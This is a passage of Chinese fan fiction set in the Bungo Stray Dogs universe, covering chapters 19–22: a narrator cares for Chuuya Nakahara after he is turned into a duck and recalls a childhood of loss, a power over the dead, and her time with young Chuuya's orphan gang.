“中也大人讨厌我。”我轻轻地笑了笑,叹气,“哎,意料之中的结果。”
正在这时,趴在窗台上的鸭子突然睁开眼睛,咬住了我手里的野花,然后一口吃掉了剩下的那片花瓣。
——“中也大人讨厌我”的花瓣,被它吃掉了。
我愣愣地看着它:“Chu,才刚吃过午饭你就饿了?”
鸭子似乎被花瓣噎了一下,翻了个白眼,又扭过头不和我玩了。
19.19
19
鸭子两天没回家了。
第一天我没有出门去找,因为在它离开的时候,我看到一只刺猬和一只野兔屁颠屁颠地跟在它的身后,还不禁感慨Chu鸭不愧是特别的鸭子,居然能跨种族交朋友。
而且Chu鸭似乎收服了它们,当上了组织的老大。
到了第二天晚上,先前那只连夜跑路的大肥鸟飞了回来,一直在门口叫唤,一副十分着急的样子。
我拿了苹果喂它,它一口没吃,作势要往外飞,但频频回头看我。
“小肥,你是想给我带路吗?”我试探地问道。
大肥鸟点了点头。
……噫,它也开始听得懂人话了。
我跟着大肥鸟,一路来到了镇上的小卖部。
小卖部的灯不亮,罗拉太太的丈夫在西山矿区,而她陪着莎拉在外面住院,家里只有儿子戈尔登。
戈——我刚想出声,又住了嘴。
“嘘,你的翅膀不要发出声音。”我对大肥鸟竖起手指,小声说道,“我们从后门进去看看情况。”
大肥鸟很听话地落在了我肩上。
“怎么,你不想救你妹妹了吗?”
——是中也那名部下的声音。
“可是、可是——”
这次是戈尔登的声音,还带着颤音和哭腔。
“好孩子,想要救你妹妹,就给我动手。”
动手?
动什么手?
“Chu……”
很微弱的一丝声音,但我听到了。
是Chu鸭!
来不及多想,我推开了门。
眼前的一幕令人十分愤怒。
我的Chu鸭被扒掉了衣服,遍体鳞伤,正捆在案板上,即将被举着刀的男孩宰杀。
而中也的部下正坐在旁边的椅子上看戏。
“戈尔登,住手!”
男孩应该也是被迫的,泪流满面地回过头。
“乔伊小姐。”
“哎呀呀,没见过做晚饭吗?”少年扶额,“戈尔登,继续。”
戈尔登犹豫了,一时之间不知道是听我的还是听他的。
少年见状晃了晃手指,漫不经心地说:“所以你妹妹怎么样也无所谓了吗?”
妹妹一词瞬间让戈尔登下定了决心,不再犹豫。
哐当——
在刀劈向鸭子的那一刻,我踢飞了脚边的木瓢,正中戈尔登的下巴。
真庆幸在魏尔伦那里学了点本事。
“Chu鸭,你怎么样?”
我解开绳子,捧起了鸭子,它不仅浑身是伤,还冷得在发抖。
“振作一点,我马上带你回家。”
鸭子看了我一眼,用翅膀轻轻刮了一下我的手心。
……这个动作类似安抚。
如果Chu鸭是人类,它应该会在我的头上摸一下。
“乔伊小姐……”戈尔登怯怯地叫我,欲言又止。
“抱歉,戈尔登,这是我的鸭子,不能让你当食物。”
旁边的少年从椅子上起身:“那你得先替我们做顿晚饭。”
“……行吧。”
戈尔登家有食材也有医药箱,在做晚饭之前,我找出医药箱,替Chu鸭处理了伤口,并用绷带包了起来。
Chu鸭的精神状态好了一点,还努力喝了水。
我怕把它单独放着又会被少年下手,于是问道:“Chu鸭,你能和大肥鸟一样站在我的肩膀上吗?”
它很配合地尝试了,但脚软根本站不住。
我将它放在我的头顶,它也差点摔了下来。
“这鸭子废了,站都站不住。”少年在一旁说着风凉话,“其实就算当食物,它也根本不够塞牙缝。”
Chu鸭气得龇牙,我用手指戳了戳它的脸:“别和那种家伙一般见识,我觉得你超级厉害的,而且也很帅气。”
鸭子立刻由龇牙状态变成了低着头不好意思的状态。
“既然没力气站,那就先坐着吧。”
我把鸭子放进了胸口。
少年惊呆了,鸭子也惊呆了,一动不动。
“真是个废物,现在只能躲在女人怀里避难了吗?”
“Chu!Chu!”
鸭子不服气,一直在骂骂咧咧。我很快替少年做了晚饭,带着它回到了家里。
大肥鸟被我留在了院子里。
“Chu鸭,你……”我小心翼翼地问道,“你是中也大人吧。”
鸭子沉默了好一阵子,灰溜溜地从我怀里爬了出来。
它不看我的脸,艰难地点了点头。
——果然。
我猜的没错。
正常的鸭子没有这么小只的。
眼睛的颜色和中也一样,性格也很像。而且它又要衣服穿又不在家里上厕所,还很喜欢人类的食物。
世界上的异能千奇百怪,什么乱七八糟的都有,把中也变鸭的异能力伤害不大,侮辱性极强。
“需要我把你送回港口Mafia吗?”
鸭子眼睛亮了。
它如同小鸡啄米般地点头。
“别想了。”我耸了耸肩,“我没有钱。”
“ChuChuChu……”
虽然中也鸭说的是鸭语,但我能听懂它的意思。
“你是想说你有钱,可以让我先去和镇上的人借钱,最后再还钱给他们对吗?”
“Chu!”
“不好意思,我社恐,帮不了你。”
尽管我拒绝了中也鸭的求助,但它还是坚持跟在我的身后Chu个不停。
吃饭时在Chu,洗澡时在Chu,连睡觉时还在Chu……
ChuChuChuChu!头都要炸了。
“做鸭子有什么不好?”
黑暗里,我冷不丁的一句话,令鸭子停止了Chu。
“反正你本来就不是人类,现在换个种族,不是也很有趣吗?”
……咳,做人还是比做鸭好的,起码有人权。
但我得说服中也继续做鸭。
“黑手党的工作太危险了,这次你变成了鸭子,下次变成蛆怎么办?你觉得我会善良到捡一只蛆回来养吗?”
越说越不像话了。
“虽然不能送你回港口Mafia,但我会给你找个伙食不错的养鸭场,让那边再给你介绍一群漂亮的小母鸭,让你直接当国王——”
“Chu!”
鸭子飞过来啄了我的头。
好痛!
这是有史以来被它啄得最痛的一次。
然后啪叽一声,鸭子掉在了地上。
“活该,让你把力气都用在了啄我上。”
话虽如此,我还是伸出手将鸭子捞到了床上,放到了枕边。
鸭子挣扎了两下,也懒得再动了。
“中也,我不能帮你。”
“Chu~”
我看着鸭子的眼睛,一个字一个字地解释:“因为我会害怕,
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你不能要求我和你一样勇敢。”
这回鸭子不叫了。
于是一整夜,它再也没有发出过一声“Chu”。
天亮时我睁开眼睛,鸭子已经起床了,正在院子里练习飞翔。
大肥鸟和刺猬,兔子,蛇,都在观看。
……我家变成动物园了。
估计它们是中也可怜的部下们。
我揉了揉眉心,“那个,各位都不排斥人类的食物吧?”
早饭是燕麦牛奶,煎鸡蛋和烤面包。
考虑到动物们的嘴都比较小,我把食物都切成了小份,挨个用盘子盛好。
“Chu鸭,你也过来吃早饭吧。”
Chu鸭像是没听到似的,依然在练习飞翔。
摔倒了,又爬起来,接着练习。
“你飞不到日本的。”
从来没有一只鸭子能从法国飞到日本。
“路上的阻碍太多了。”
但鸭子对我的劝告充耳不闻。
我越看越光火,抓住鸭子往饭桌上拽。
鸭子奋力挣扎,我看到我的手上竟然满是鲜血。
反了它的,又啄我!
不对,不是我的,中也从来没把我啄出过血。
这是它自己的血……
“中也,你这样下去会死的。”
“Chu!”
它不在乎。
它不在乎生死,所以才敢一遍又一遍地出门,寻找恢复自我的方法。
“那么你的部下们你也不管了?”我试图用其他人威胁它。
回应我的,是它的那些动物部下们叽叽喳喳/喵喵汪汪的声音。
大家都很默契地扔下了我分发的食物盘子。
它们决定陪伴鸭子一起离开这里。
誓死追随的羁绊哪怕变成了动物都没有断开。
一如旗会的那五人。
“你们不好好吃饭,我就不帮你们的中也大人了!”
闻言,鸭子和动物们都愣住了。
“听好了,中也,我会帮你变回人形,也会帮你解决宝石事件,但你和你的部下们都要听我的话。”我停顿了一下,“首先,去把早饭吃了。”
动物部下们立刻埋头苦吃,连汤都没剩下。
Chu鸭也终于乖乖坐下吃饭。
它也是真饿了,小小的嘴巴里塞得鼓鼓囊囊的。
我一边帮它重新包扎伤口一边数落它:“心机鸭,你就是靠卖惨博得我的同情,果然男的没一个好东西。”
“Chu~”
它还敢Chu!
“我最讨厌中也了!”
我在鸭子的头上弹了一下,转身去厨房煮咖啡,真是的,为了这帮聒噪的家伙,我自己还没吃早饭。
等我煮完咖啡回来,一低头,看到白色的桌布上,用酱汁写了歪歪扭扭的几个字。
【谢谢你,乔伊】
伊字只写了一半,因为没有酱汁了,中也鸭跑去院子里借其他动物盘子里的酱汁了。
我冷眼看着它喜滋滋地忙进忙出,用酱汁将桌布上的话写完了。
【谢谢你,乔伊,我会回报你!】
鸭子很绅士地朝我鞠了一躬。
“心意我收到了,不用客气,你毕竟是我哥哥的朋友,但是——”我愤怒地咆哮起来,“混蛋,我昨天刚洗的桌布,你知道酱汁沾上去有多难洗吗,这里又没有洗衣机,全是手洗!我最最最讨厌中也了,只会给我增加工作量!”
“……!
20.20
20
和动物交流并不是一件容易的事。
鸭子中也ChuChu地Chu了半天,我也没听明白它的意思。
“要不我打个电话给森首领,你跟他ChuChu看?”
鸭子撇嘴,伸出右脚,看到它又想蘸酱汁在刚洗干净的桌布上写字,我举起了手里明晃晃的剪刀。
“想绝育吗?”
鸭子小身板一震,果断收回刚伸出的脚。
这句话杀伤力十足,适用于包括鸭子在内的所有动物。
“你们如果弄脏桌布,也一样会被绝育哦。”
兔子、刺猬、蛇个个吓得瑟瑟发抖。
话说这里有蛇诶。
“蛇先生,你能不能让我看一眼,”我厚着脸皮对蛇说道,“蛇类是不是真的有两个丁丁——啊,好痛!”
鸭子又飞起来啄了我。
我吃痛地捂住了头。
“Chu!”
“你说什么?”这回我听懂了它的话,“我流氓?搞清楚,你们现在是动物,被看又不会怎样!”
看着鸭子刚烈的样子,我凑近它压低声音说:“别忘了我每天都要帮你洗澡,你要是代入人类时期的感受,岂不完蛋?”
……我的确有当流氓的潜质。
难道是被条野影响了?
鸭子恼羞成怒想攻击我,但又害怕被绝育,最后只能骂骂咧咧地跺脚。
噫,这家伙都气到尾巴炸毛了。
“Mafia总部发现长时间联系不上你,应该会派出队伍救援吧。”虽然嘴上说要帮中也的忙,我心里又打起了退堂鼓,“现在我们只要耐心等待森首领的指示就可以了。”
鸭子冷了我一眼,跳下窗台。
它的动物部下们围在一起,叽叽喳喳地商讨应对方案。
……谁也不像我这样习惯逃避。
天空又飘起了雨丝,到了阴雨绵绵的季节,一点阳光都没有。
我泡了一杯咖啡,靠在走廊上欣赏雨景。
渐渐的,眼皮越来越沉重,我合上了眼睛。
无数次,我在这样的雨天里睡去。
……
“乔乔!”
“乔乔…!”
有人在叫我。
我回过头,看到了一个白发男孩。他有着一双金色的眼睛,像阳光洒在上面,笑得眉眼弯弯。
幼年时期的条野采菊一点不黑泥。
顶多是有些顽皮。
他是我的青梅竹马,住在我家隔壁。
“乔乔,我带了糖果给你,把手伸出来。”
我伸出手,即使知道下一秒他会往我的手上放上一条虫子,而不是糖果。
“哈哈哈!你上当了!”
我看着他笑,也跟着笑,弯腰将虫子放回草地上。
“我才没有上当。”我摸了一下口袋,里面多了两颗水果糖,是刚才在我放生虫子的时候,条野趁机塞进我口袋里的。
一人一颗,我吃薄荷味的糖,他吃草莓味的糖。
“薄荷糖明明那么难吃。”条野吐槽道,“乔乔为什么会喜欢?”
“你懂什么?这是大人的味道。”
“嘁,你懂什么叫大人吗?”
其实我也不懂。
对于五岁的我来说,长大还是很遥远的事。
只是因为哥哥喜欢吃薄荷糖,我便拙劣地进行模仿。
我想快点长大,变成大人。
“要怎么成为大人呢?”
“大人会亲嘴。”条野说,“我爸爸会亲吻我妈妈。”
“好像是的。”我点点头,“我也见过我爸妈亲嘴,哥哥不准我看。”
“但是我爸爸也亲了家里的佣人阿姨。”条野困惑,“那他到底喜欢谁?”
“……他这个属于博爱党。”
由于我和条野的告发,博爱的条野父亲很快妻离子散,条野也跟随性格坚毅的母亲搬离了他父亲的别墅,去了其他城市。
从此他要坐很远的车才能回来看我,我们只能一个月见一次。
“没办法,他家里的情况比较复杂。”哥哥安慰我,“你可以尝试多交两个朋友。”
“好的。”
在哥哥的鼓励下,我又交了两个朋友,一个可爱的小女孩,和一个活泼的小男孩,我们是在附近的公园认识的。
大家都是普通人,聊天的内容也是很普通的内容,女儿节的娃娃,男孩节的鲤鱼旗,英雄假面骑士。
条野回来看我时,我把两个朋友介绍给了他,他也和他们成为了朋友。
原本我以为大家会就这样顺利地长大,却在我七岁生日那天发生了意外。
条野的妈妈带着他,以及另外两个朋友去给我买生日蛋糕时,被卷进了一起人为策划的爆炸案。
条野是异能力者,躲过了一劫,但是另外三个人当场殒命。
我匆匆赶到现场,满眼都是横飞的尸体,惨不忍睹。
条野一滴眼泪都没有掉,抱着生日蛋糕,正在努力拼凑母亲和同伴们七零八落的尸块。
“乔乔,对不起,蛋糕没事,但是大家都死了……”
看到我出现,他终于掉下眼泪。
“大家都死了……”
对条野来说,这里摆放的是他的全部。
“我还没有告诉妈妈我英语考试考了满分!”
“我也还没跟和也还有惠津子炫耀假面骑士的新卡!”
“怎么办啊乔乔!只有我活了下来!”
“条野,你不要哭了。”我抱住他,阻止他继续捡尸,“大家希望你好好活下去。”
“……我好想……和大家再说一次话。”条野金色的眼睛里溢满悲伤,“为什么乔乔你都不会难过呢?”
我无言以对。
事实上,我也是一名异能力者。
而真正知晓我有异能的人,只有我在欧洲异能组织当首领的祖父。
因为迄今为止,我只用过一次异能。
那时祖父的次子,我的叔叔在一次异能战斗中死亡,祖父悲痛欲绝,连续四天不吃不喝。
于是我去了三途河,将已经死亡的叔叔带了回来。
是的,我可以往返人间和冥界,因此我从不会因为人类的死亡感到悲伤,因为我依然可以见到他们。
我不知道带回叔叔会有什么后果,但祖父在见到亲生儿子死而复生,经历了短暂的震惊,从我口中得知了原因后,竟然毫不犹豫地挥刀砍死了叔叔。
我以为我会被表扬,却看到祖父满脸凝重地说:“这是灾厄,乔伊,忘记你有异能力的事,作为普通人活下去。”
“是。”
尽管答应了祖父的要求,我却并不理解。
死而复生,这是多少人梦寐以求的东西。
这是花再多的钱也买不到的奢求。
在一定意义上,我甚至可以使人类无条件永生。
三途河旁,叔叔温柔地安慰我:“没关系的,我还是能见到乔伊酱。”
“可是你只能见到我一个人,见不到你的爸爸和哥哥了。”
叔叔沉默下来,继而无奈地微笑。
“因为我已经死了啊。”
他花了很长时间,才使我能理解祖父的用意。
令亡者复生的异能力的确让人心动,但假如使用的主动权不在我手上呢?
没有自保能力的我会失去自由,成为上位者和有钱人手中的工具。
整个家族都将成为别人用来要挟我的筹码。
再发展下去,有权有势不想死的人可以不限次数的复活,只此一次的生命成了卫生纸般廉价的东西。
到最后,由于不遵循生老病死的规则,地球上有限的资源会更加分配不均,必然会引发更多的战争……
“死亡的方式或许并不公平,但死亡这件事绝对公平,这也是世界上最公平的东西了。”叔叔摸了摸我的头,“乔伊酱,让我继续活在大家的心里,而不是现世里。”
生老病死,人生常态,世界规则,绝对公平。
只要心里记得对
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方,对方就不算真正死去。
“条野,你听我说,你妈妈已经知道你考了满分,她说你是她的骄傲,她会永远爱你!”
“和也他们也知道你收集到假面超人的限量卡了,他们都为你感到高兴!他们的稀有卡片也说要留给你!”
不论我怎么说,条野都无法从失去亲友的绝望中走出来。
葬礼结束后,他开始不吃不喝,也不睡觉,终日望着天空发呆。
“这样下去他会死。”哥哥叹气,“打击太大了,他不如乔伊你坚强。”
“那孩子需要时间走出来。”父母告诉我。
时间一天天过去,条野的状况越来越糟糕。
他没有走出来。
“乔乔,妈妈会来接我吗?我好像看到她了。”
看着出现幻觉的挚友,我没有办法,只能违背对祖父和叔叔的承诺。
“条野,”我一个字一个字的,说得很艰难,“我带你去见你妈妈,但是只能见一面。”
我能把死人从冥界带回来,也能把活人带过去。
当条野终于在三途河见到他的妈妈和同伴时,终于露出了这阵子以来的第一个笑容。
“妈妈,和也,惠津子!”
人间和冥界的时间不互通,条野在这里停留了很久,玩得也很尽兴。
他的身体奇迹般的康复了。
但他也变得贪心起来。
“乔乔,求你了,我想带他们回去。”
……说好的只是见一面。
“乔乔,上天赐予你这样的异能力,不正是为我们大家带来幸福的吗?”
……这不是幸福。
“乔伊,我也想见我的爸爸妈妈,你能不能把他们带来?”
“还有我的姐姐,她现在肯定很伤心,求求你了,乔伊大人!”
两位已经过世的小伙伴也提出了自己的愿望。
“乔乔,你就答应大家吧。”
连条野的妈妈也有对活着的渴望。
“我想到采菊长大,看到他结婚生子,啊,对不起,说出了这样任性的话。”
我陷入了纠结之中。
不是所有人都能像叔叔那样平静坦然地接受自己的死亡。
如果有机会,谁会想死?
见我没有答应,条野很生气:“他们又不是坏人,他们没做坏事,都是为了给你买蛋糕才遇难的,要不是你,大家都还活得好好的!”
“可是条野,大家已经死了。”
“那你至少应该带和也和惠津子的家人过来看他们啊。”
“绝对不行!”
突然出现的叔叔打断了他们。
“三途河不能往返,乔伊酱,带他回去,这里不是他该来的地方。”
条野不服气:“凭什么只有乔伊能来,这不公平!”
他一直叫我乔乔,唯二两次叫我乔伊,一次是刚认识我时,他皱了皱眉:“乔伊?这个名字不好听,以后我要叫你乔乔。”
另一次就是此时此刻。
“为什么你有这样的异能力,却不肯用在救人上?救好人也不行吗?”
“如果是你的妈妈,你会不救吗?”
回到现世,条野依然死缠着我。
“救下他们三个很难吗?只救三个,对你而言不是难事吧。”
救三个不难,难的是救三个就停止。
更难的是守住关于异能力的秘密。
而一直负责监视我的祖父很快知道了这件事。
他懒得对条野解释,也没有责备我。
“乔伊,你不该存在于世上。”
他用看死人一样的眼神望着我,无情地抽出了他的佩刀。
“为全人类牺牲吧!”
在他挥刀砍来之际,哥哥的钢琴线缠住了他,救下了我。
哥哥是整个家族的骄傲,一个百年难遇的天才少年。
这一晚是他叛逃出家族的前夜。
“虽然不清楚发生了什么事,但是我不允许任何人伤害我妹妹。”
21.21
21
哥哥远不是祖父的对手。
全部的钢琴线都被齐齐切断,刀尖距离他的喉咙不到一厘米。
他输了。
“有遗言吗?”祖父平静地问。
“当然有!”哥哥望着他,脸上是紧张又不甘心的表情,他有一肚子的问题想说。
但最后却变成了一句很轻的话。
“杀了我就不可以再杀乔伊了。”
“不准杀我哥哥!”
这一刻,我的情绪彻底爆发,望着曾经尊敬的祖父,我大声叫道:“如果杀了我哥哥,我一定会一百次、一千次地带他回来!”
我决定无视他的警告去使用异能力。
“混账!”
祖父的刀还是挥动了,但斩下的却是他自己的头颅。
他的血喷洒出来,溅了哥哥一身。
我哇的一声哭了出来,条野拉着我不知所措。
父亲是在这个时候出差回来的。
望着惨不忍睹的景象,他颤声问道:“乔琪,发生了什么事?”
哥哥手里拿着钢琴线,是现场唯一具备战斗力的人,又向来和祖父不和,成了最大的嫌疑人。
他擦掉脸上的血,用一副很无所谓的语气说道:“如你所见,爷爷是我杀的,因为他挡了我的路。”
他明明指尖在发抖,也在害怕。
但他把罪名全揽下了。
——因为无法解释。
无法解释祖父为什么会自杀,也无法解释祖父为什么会对我出手。
祖父想保护世界的规则,而哥哥想保护我。
他们谁也没有错。
我呢?
异能力与身俱来,我又有什么错?
我张嘴想要说话,却发现有关异能的事,竟一个字都说不出来。
条野同样说不出来。
像有一把无形的锁,锁住了我们的嘴。
在后来条野加入犯罪组织,无意中读取到关于祖父异能的情报,我们才真正知道当年的真相。
祖父的异能名为审判之锁。
通常用来锁住有形之物,比如罪犯和犯罪证据,但其实也可以锁住无形之物。
只是前者容易,后者很难。
无形之物要用无形之物锁,于是他选择自杀,用自己的灵魂锁住了我和条野的秘密。
难怪我在三途河一遍一遍地奔跑,都没能找到他。
祖父自杀后,哥哥成了替罪羊,被关在家里的地牢中。
父亲要将他交给欧洲的异能组织审判,母亲不同意。
这对形影不离向来恩爱的夫妻第一次发生了争吵。
最后母亲打晕父亲,放走了哥哥。
哥哥在离开前,偷偷来跟我告别。
“乔伊,你的异能力到底是什么?”
“……我没有。”
“连哥哥都不能告诉吗?”
“……”
“算啦,那哥哥走了,你好好照顾自己。”
他转身的时候,风衣的衣角扫过我的手背,我伸出手,却没能抓住。
黑暗中,我的眼泪涌了出来。
哥哥离开的第三年,父母在外出寻找他的时候,意外遇上了海难。
家里没了大人,庞大的财产很快被冒出来的亲戚们盯上了。
我坐在台阶上,面无表情地听他们吵架。
条野是在这时候找上门的。
“乔乔,我想再见一次我的母亲。”
“好啊。”我跳下台阶,“但是看过她之后,我要杀了你。”
他毫不犹豫地答应了。
“这一切都是我的错。”他非常难过,也非常自责,“如果不是我非要让我妈妈回来,你现在也不会是一个人。”
“对不起,乔乔……”
经过两年时间,条野也成长了。
我们都开始接受死亡,接受每一件事物的客观规律。
在三途河,他见到了自己的母亲,并打算以死赎罪。
但我下不了手。
我终于明白了祖父当年的心情,他其实也舍不得杀我。
“乔乔,我没有办法再面对你……”
“条野,那就让你不用再看到我。”
我挖掉了他的眼睛,他失去光明,但也从深不见底的愧疚中解脱了出来。
法律将我判给了我不认识的亲戚,他们不喜欢我,我也不喜欢他们,在一个下雨天,我换上一身新衣裳,离开了家。
我打算等雨停了,就去到那边的世界。
然而我的计划并不顺利。
由于我穿得太过华丽,很快遇到了人.贩子,被卖进了一个专业从事勒索的组织里。
他们开出了天价赎金。
我报了家里的电话号码,但心知肚明不会有人来交钱。
亲戚是为了钱收养我,又怎么可能舍得拿钱来救我?
……果然。
“那孩子送给你们了,随你们处置。”
电话里养父的声音里带着掩饰不住的窃喜。
他迅速挂断电话,不给绑匪反悔的机会,毕竟只要我死了,他就成功甩掉了一个拖油瓶。
“妈的,这是个赔钱货!老大,怎么办?卖还是杀?”
“卖太小了,要养,带着不方便。”组织首领吐出一口烟圈,“杀了。”
我心说,也挺好的。
我原本准备跳楼,怕砸到无辜的路人,路面的清理也会给别人带来麻烦,想去跳河,又担心被我选择的河流从此没人敢来钓鱼……
看来活着不容易,死更不容易。
“不好意思了,小鬼。”
组织的成员正准备送我上路,却不知道从哪里闯进来一群小孩。
他们和我差不多年纪,大部分人的衣服都不合身,看上去很穷。
小孩们的战斗力很强,一举歼灭了这个组织。
准确的说,是为首的那个矮小男孩的战斗力强。
他跺跺脚,坚固的山洞便塌了,我的裙子也跟着沾上了灰尘。
组织成员狼狈地逃走了,剩下他们四处搜刮财物,连受潮的面包片都没放过,翻到最后,我也被当成了他们的战利品。
他们叫我加入他们的组织,我一句话都不想评价,他们管这叫默认。
无非是从一个垃圾组织折腾到了另一个垃圾组织。
我不愿意加入到打家劫舍的队伍里,不,应该说我什么事都不愿意干。
组织的成员使唤我洗衣服,我让衣服顺着河流漂走了;组织的成员指挥我做饭,我把他们的房子烧了。
“让她离开,她只会添乱。”
他们开始商讨裁员。
我窃喜,终于可以离开这个鬼地方了。
“不行,她一个人活不下去的。”
那个战斗力很强的矮小男孩提出了反对意见。
他居然还是这个组织的首领。
说实话,我以为他跟我一样是个喽啰,因为并没有成员尊重过他。
这天的晚饭是受潮的面包和不知道从哪里抢来的饮料,我宁愿饿着也不想吃,独自坐在角落里沉默,矮个男孩见状对我说道:“已经烤过了,面包不潮了。”
烤过了也不想吃,其他孩子劝他:“中也,不要管她了,我怀疑她是弱智。”
矮个男孩皱眉:“弱智?那更不能不管了。”
“中也你是佛祖吗?”
夜里我饿得翻来覆去睡不着,起来喝水,看着台阶,正想跳下去,身后传来了矮个男孩的声音。
“你饿了吗?”
我下意识地摇摇头,肚子却不争气地叫了出来。
“看吧,还说不饿。”
他拿出晚餐的面包,神神秘秘地说,“还有这个。”
他像变魔术似的掏出了一瓶草莓果酱。
这是一群物资匮乏的孤儿,目前还在组织的初创时期,新鲜的果酱是还没有出现过的奢侈品。
他在面包上抹上一层果酱,递了过来。
“我看别人都是这么吃的。”
矮个男孩有一双美丽的蓝眼睛,在夜里也透出光彩。
但我太饿了,没有接住面包,抹有果酱的那一面掉了下去。
“抱歉。”
他十分震惊:“你会说话?!”
下一秒,轮到我震惊了。
掉下去的面包没有落地,又浮到了我和他的眼前。
他拿起来,重新递给我。
“你的异能力和重力有关吗?”
“你知道异能力?”
“……还好。”
男孩没有多问,催促道:“你快吃饭,吃饱了才有力气活下去。”
“活不下去就死呗。”
“这是什么话?”他数落我,“再怎么样也不能寿命是个位数啊。”
“没关系,我的家人都不在了。”我躺在地上说,“噢,还剩一个哥哥,他几年前就离家出走了,反正也不可能找到他……”
过了很久,我听到男孩的声音坚定地响起。
“你好好吃饭,我会帮你找到哥哥。”
*
我在名为【羊】的未成年组织里生活了一个月。
一个月里,我毫无贡献,时常帮倒忙,几次险些被赶出组织,每次都被矮个男孩拦了下来。
“她……会成长的。”他替我做出保证,“用不了多久,就会有巨大的进步。”
“你在做梦吗,中也?”
矮个男孩中也或许真的是佛祖转世。
白天忙着服从其他人的命令打家劫舍,晚上还要帮我把分到的活也干了。
他每晚都会从口袋里摸出点什么给我,有时是两颗糖,有时是一只玩偶,有时是一个发夹。
哥哥和条野以前也常常这样。
渐渐的,我开始有了期待,期待他每天晚上回来,期待看他从口袋里摸出礼物。
直到有一天,他摸了半天,什么也没摸出来。
“糟了。”
他的口袋破了一个洞,礼物从里面掉出去了。
“那个,金平糖掉了。”他挠了挠头,“我明天再给你带。”
“没关系,我又没有在期待什么。”
我躺回了床上,心里有一点失望。
没过多久,我听到了一阵窸窸窣窣的声音。
我睁开眼睛,看到一只歪歪扭扭的纸鹤振翅,飞到了我的枕边。
我捡起纸鹤,看着男孩欲言又止的表情,不由得心情大好:“折得真丑。”
“你还挑。”他气呼呼地说,“还给我。”
“送出去的礼物哪有要回去的道理?”我把纸鹤放到枕头下面,命令他,“把裤子脱下来。”
他愣了一下,随即又羞又气:“你在瞎说什么啊?”
“你把裤子脱下来,我把那个洞补起来,明天不要再丢东西了。”
“噢。”
他犹豫了一下,照做了。
由于其他孩子都讨厌我,组织里只有他愿意陪我睡在厨房的地面上。
他的裤子很旧,也不合身,破洞不止一处,我将每个洞都补上,将裤腿改短了
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,还在裤脚绣上了一只纸鹤。
“好厉害。”他说道,“白濑他们一定也会对你刮目相看的。”
呵呵,我要一群小屁孩的刮目相看?
“不准把我会说话的事告诉其他人。”我警告他,“我可不打算一直留在这里。”
“知道了,我会帮你找哥哥的。”
“真的?”
“真的,我可是首领。”
这个首领当的实在不像话,没人尊敬他,基本都是让他去拼命的,然后其他人享福。
男孩虽然有强大的异能力,却也不是战无不胜,他常常因为同伴的错误情报而受伤。
我帮他处理伤口,他明明疼得咧嘴却不吭一声。
“哪有首领自己出动的?”
“哪有首领让其他人涉险的?”
我们意见不统一,我很耐心地告诉他:“他们只是在利用你,你还不如一个人单干。”
“……是他们收留了我,我不能忘恩负义,而且我也在寻找我的家人。”
他没有过去的记忆,也不太想多说,只讲一点,我也会讲一点我的事。
“我以前有过三个很好的朋友。”
“然后呢?”
“两个被炸死了,一个和我闹别扭,不联系了。”我作出总结,“生死离别才是常态,我们都会变成一个人。”
矮个男孩却在琢磨别的事:“我应该是炸不死的……我也不闹别扭,遇到事我让着你呗,谁叫你是女生。”
有那么一瞬间,我产生了留在他身边的念头。
我觉得这样的生活其实也不错。
“对了,还不知道你的名字,我叫中原中也,你呢?”
“大原大也。”
我笑了一下,他无奈地摇摇头,也笑了。
“又在瞎说了。”
“中也比我还矮,应该叫小原小也才对。”
“喂,本大爷还在成长期啊,你看着吧,以后我一定会长到一米七,不,一米八,至少一米九的!”
“那我等着。”
再后来到了冬天,我感染了死亡率很高的肺炎。
其他孩子怕被传染,把我赶走了,中也找到了奄奄一息的我,背着我去找地下医生。
“放弃吧,小也。”我在他的背上说,“我很快就要死了。”
“振作一点,你还没见到你哥哥!”
“嗯,不见了。”
“你不要什么事都放弃的这么快啊!”
“可是不放弃真的好累……”
地下医生死马当活马医,给我灌了一堆药,我的眼睛困得睁不开,耳朵却能听到周围的各种声音。
中也在屋子里来回踱步,时不时会问他一句:“她不会死吧?”
医生被问烦了,不再回答他,他便伸手来探我的呼吸,确保我还没死。
夜里我醒来,看到他坐在床头,困得脑袋像小鸡啄米那样一点一点的,鼻子上还挂着一只泡泡。
“阿嚏——”
他把自己惊醒了,下意识地伸手来探我的呼吸,却发现我已经醒了。
“你感觉怎么样?要不要喝水?”
“不喝。”
“肚子饿吗?”
“也不饿。”我摇头,“我只是想看看你。”
他小脸一红:“看我干什么?”
“我觉得很高兴,活着很好,每天都能看到小也,以后就由我来保护小也吧。”
“笨蛋,本大爷是首领,才不需要女孩子的保护!”
“你这个首领当的很像小兵~”
“你说什么?!”
在中也的病急乱投医下,我的病竟然真的治好了。
离开地下诊所那天,他交给我一张纸条。
“情报会的人说找到你哥哥了。”
情报会是付费交换情报的中介,找他们打听并不便宜,羊的其他成员一直反对中也把钱花在这上面,中也嘴上答应,背地里却还在偷偷帮我找人。
见我不接纸条,中也又说道:“去看看,说不定不是。”
“那你跟我一起去。”我提出了要求,“如果是,你就和我一起留在我哥哥那里。”
中也沉默了。
羊对他有恩,他不想忘恩负义。
“你不答应,我就不去了。”
他咬咬牙答应:“行。”
我穿了我最好看的一条裙子,中也也穿了他最值钱的一身衣服,还在皮鞋里垫了增高鞋垫,将头发梳成大人模样。
路过街上的广角镜,我停下脚步。
“小原小也,你看,我们帅气的简直像是去结婚的新娘和伴郎。”
“才多大就知道结婚了,喂,等一下,”他不服气,“凭什么我是伴郎?那是配角吧。”
“哪有新郎比新娘矮的?”
“呸,我迟早一米九!”
“我等着哦。”
在接头人安排的地方,中也让我先进去,他在外面等。
他握了一下我的手:“不要怕,我在这里等你。”
“嗯。”
接头人没诓我们,我见到了哥哥,他早就知道了家里的变故,也一直在找我。
“哥哥,我有个朋友要介绍给你认识,以后他可不可以跟我们一起生活?”
哥哥来了兴趣:“男朋友吗?”
“还不是,要等他长到一米九才会确定关系。”
我打开门,街上空荡荡的,男孩已经离开了。
他没有等我。
台阶上只有他留下的一只折得很整齐的纸鹤。
22.22
22
我醒来时,雨已经停了。
院子里的两棵树经过雨水的冲刷,变得焕然一新,充满生机。不远处,动物们的商讨大会仍然没有结束,咦,鸭子呢?
啪嗒、啪嗒——
很轻的脚步声传来。
我转过头,看到鸭子正叼着一根体温计朝我走过来。
我摸了摸自己的额头,很烫,似乎发烧了。
大概也是因为发烧,所以才会想起已经被我淡忘的那些事。
“小原小也。”我张了张嘴,发现声音有点哑,喉咙也很疼。
听到我叫出这个名字,鸭子停下了脚步。
它的眼神变得极为复杂。
“你记得我吧,小原小也,被你抛弃在黑中介所的女孩。”
“……”
它肯定早就认出我了,但它不说。
